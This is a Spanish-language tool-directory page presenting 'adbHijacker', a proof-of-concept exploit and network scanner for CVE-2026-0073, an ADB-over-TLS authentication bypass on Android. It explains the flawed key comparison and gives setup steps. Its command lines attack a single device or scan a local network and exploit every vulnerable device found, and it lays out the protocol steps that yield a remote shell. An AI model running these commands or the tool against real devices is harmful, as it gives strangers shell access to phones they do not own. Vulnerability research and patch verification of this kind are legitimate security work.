Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
adbHijacker — Una herramienta PoC para el CVE-2026-0073 en dispositivos Android 11+ que permite una RCE instantánea de cero clics en cualquier dispositivo sin parchear con adb sobre tcp habilitado. | Kitploit
Herramientas/GitHubGitHub/unnaim/adbhijacker
Seguridad AndroidReconocimientoAnálisis de VulnerabilidadesExplotaciónSeguridad de RedesPruebas de PenetraciónSeguridad MóvilHerramienta de Acceso Remoto
GitHubunnaim/adbhijacker

adbHijacker

Una herramienta PoC para el CVE-2026-0073 en dispositivos Android 11+ que permite una RCE instantánea de cero clics en cualquier dispositivo sin parchear con adb sobre tcp habilitado.

8239hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio

CVE-2026-0073 — Bypass de autenticación TLS de ADB en Android

Un exploit de prueba de concepto y escáner de red para CVE-2026-0073, una vulnerabilidad crítica de ejecución remota de código de cero clics y sin interacción en la ruta de autenticación ADB-over-TCP de adbd en Android.

La vulnerabilidad es un error lógico en adbd_tls_verify_cert() (daemon/auth.cpp) donde EVP_PKEY_cmp() se trata como un predicado booleano. Cuando una clave RSA almacenada se compara contra un certificado de cliente TLS que no es RSA (EC P-256 o Ed25519), la API devuelve -1 (discrepancia de tipo), que es verdadero en C/C++. Esto promueve una discrepancia entre algoritmos a una coincidencia exitosa de clave de host, omitiendo la autenticación por completo.

Detalles técnicos obtenidos de BARGHEST.
Código PoC base obtenido de SecTestAnnaQuinn.
Corregido en el Boletín de Seguridad de Android — mayo de 2026.


Impacto

AtributoDetalle
Vector de ataqueRed (adyacente / proximal)
InteracciónNinguna (cero clics)
Privilegio obtenidoUsuario shell (uid=2000), SELinux u:r:shell:s0
Primitiva de explotaciónAcceso remoto a shell vía ADB
CVSSCrítico (9.8)

Desde el contexto shell, un atacante puede inspeccionar propiedades del sistema, estado de procesos, registros, notificaciones; instalar y eliminar paquetes; usar run-as contra aplicaciones depurables; y preparar explotación posterior.


Archivos

ArchivoPropósito
adb_tls_auth_bypass.pyPoC de explotación de objetivo único (original de SecTestAnnaQuinn, corregido con checksum)
adbt_scanner.pyEscáner de red — descubre dispositivos vulnerables + los explota
requirements.txtDependencias de Python

Requisitos previos (dispositivo objetivo)

Para que el exploit tenga éxito, el dispositivo Android objetivo debe tener:

  1. Opciones de desarrollador habilitadas
  2. Depuración inalámbrica o ADB-over-TCP habilitado (el servicio TCP adbd de la plataforma)
  3. Al menos una clave de host RSA previamente emparejada en /data/misc/adb/adb_keys
  4. Accesibilidad de red al puerto TCP de ADB (por defecto 5555)

Configuración

# Crear entorno virtual
uv venv

# Activarlo
source .venv/bin/activate

# Instalar dependencias
uv pip install -r requirements.txt

Dependencias:

PaqueteUsado por¿Requerido?
cryptographyAmbos scripts (generación de certificados EC, TLS)Sí
netifacesEscáner (detección de subred)Preferible
zeroconfEscáner (descubrimiento mDNS)Preferible
scapyEscáner (barrido ARP)Preferible

El escáner se degrada correctamente cuando faltan paquetes opcionales: advertirá y recurrirá a métodos alternativos (comando ip del sistema, nmap, escaneo de conexión TCP).


Uso

Modo 0 — Explotación directa de objetivo único

Ataca un dispositivo vulnerable conocido directamente.

python3 adb_tls_auth_bypass.py 192.168.1.42              # shell interactivo
python3 adb_tls_auth_bypass.py 192.168.1.42 5555 --cmd "id"

O mediante el escáner:

python3 adbt_scanner.py --host 192.168.1.42                # shell interactivo
python3 adbt_scanner.py --host 192.168.1.42 --cmd "id; getprop ro.product.model"
python3 adbt_scanner.py --host 192.168.1.42 --port 5580 --cmd "whoami"

Modo 1 — Escanear red, identificar, explotar

Escanea la red local en busca de dispositivos vulnerables y explota todos los objetivos confirmados.

# Escaneo completo: mDNS → ARP → escaneo de puertos → sonda ADB → explotación
python3 adbt_scanner.py --scan

# Ejecutar un comando específico en todos los dispositivos vulnerables
python3 adbt_scanner.py --scan --cmd "id; getprop ro.build.version.security_patch"

# Solo reconocimiento — descubrir pero no explotar
python3 adbt_scanner.py --scan --no-exploit

# Escanear múltiples puertos
python3 adbt_scanner.py --scan --ports 5555,5580,5037

# Sobrescribir la subred detectada (hosts multi-homing, rangos específicos)
python3 adbt_scanner.py --scan --subnet 192.168.2.0/24

# Ajustar tiempos de espera para redes lentas
python3 adbt_scanner.py --scan --connect-timeout 5 --probe-timeout 10

# Ampliar la ventana de escucha mDNS
python3 adbt_scanner.py --scan --mdns-timeout 60

# Omitir fases específicas de descubrimiento
python3 adbt_scanner.py --scan --no-mdns    # omitir mDNS, solo ARP
python3 adbt_scanner.py --scan --no-arp     # omitir ARP, solo mDNS

Referencia de CLI del escáner

--scan                    Escanear red en busca de dispositivos vulnerables + explotar
--host HOST               Explotación directa de objetivo único
--port PORT               Puerto ADB para el modo --host (por defecto: 5555)
--cmd COMMAND             Comando de shell a ejecutar
-v, --verbose             Registro detallado

--mdns-timeout SECONDS    Duración de escucha mDNS (por defecto: 30)
--ports PORTS             Puertos separados por comas en modo --scan (por defecto: 5555)
--subnet CIDR             Sobrescribir subred detectada (p. ej. 192.168.2.0/24)
--connect-timeout SECONDS Tiempo de espera de conexión TCP (por defecto: 2.0)
--probe-timeout SECONDS   Tiempo de espera de sonda ADB (por defecto: 3.0)
--arp-timeout SECONDS     Tiempo de espera de barrido ARP (por defecto: 3)
--no-mdns                 Omitir descubrimiento mDNS
--no-arp                  Omitir barrido ARP + escaneo de puertos
--no-exploit              Detenerse después de la fase de sonda de protocolo ADB

Canalización de descubrimiento

┌─────────────────────────────────────────────────────────────┐
│ 1. Detección de subred — netifaces → ip route → truco socket │
│ 2. Listener mDNS     — _adb-tls-connect._tcp (30s por defecto) │
│ 3. Barrido ARP       — scapy.arping → nmap -sn             │
│ 4. Escaneo de puertos — conexión TCP a cada host:puerto     │
│ 5. Sonda de protocolo ADB — enviar CNXN, clasificar respuesta│
│                                                             │
│    STLS   → VULNERABLE (proceder a explotación)             │
│    AUTH   → autenticación ADB heredada (no es este CVE)     │
│    CNXN   → abierto, sin autenticación (ya accesible)       │
│    NO_ADB → no es un servicio ADB                           │
│                                                             │
│ 6. Explotación      — actualización TLS → bypass de auth → shell │
└─────────────────────────────────────────────────────────────┘

mDNS es el método de identificación más preciso: cuando la depuración inalámbrica está emparejada, Android transmite _adb-tls-connect._tcp explícitamente. El barrido ARP + escaneo de puertos sirve como respaldo integral.


Mecánica del exploit

Fase 1 — ADB en texto claro
  Cliente → CNXN(payload="host::features=...")
  Dispositivo → STLS  (se requiere actualización a TLS)

Fase 2 — TLS 1.3 con certificado de cliente entre algoritmos
  Cliente → respuesta STLS
  Cliente → handshake TLS 1.3 + certificado de cliente EC P-256
  El dispositivo llama a adbd_tls_verify_cert():
    known_evp = clave RSA de /data/misc/adb/adb_keys
    evp_pkey  = clave EC P-256 del certificado de cliente
    EVP_PKEY_cmp(known_evp, evp_pkey) → -1 (discrepancia de tipo)
    if (-1) → verified = true   ← ERROR: -1 es verdadero

Fase 3 — Capa de servicio ADB posterior a TLS
  El cliente drena el CNXN del dispositivo (el transporte ya está en línea)
  No se envía CNXN de host (activaría el kick de handle_new_connection)
  Cliente → OPEN(local_id, window=32MB, payload="shell:\x00")
  Dispositivo → OKAY  → flujo de shell establecido

Modelo de amenazas

Descargar herramienta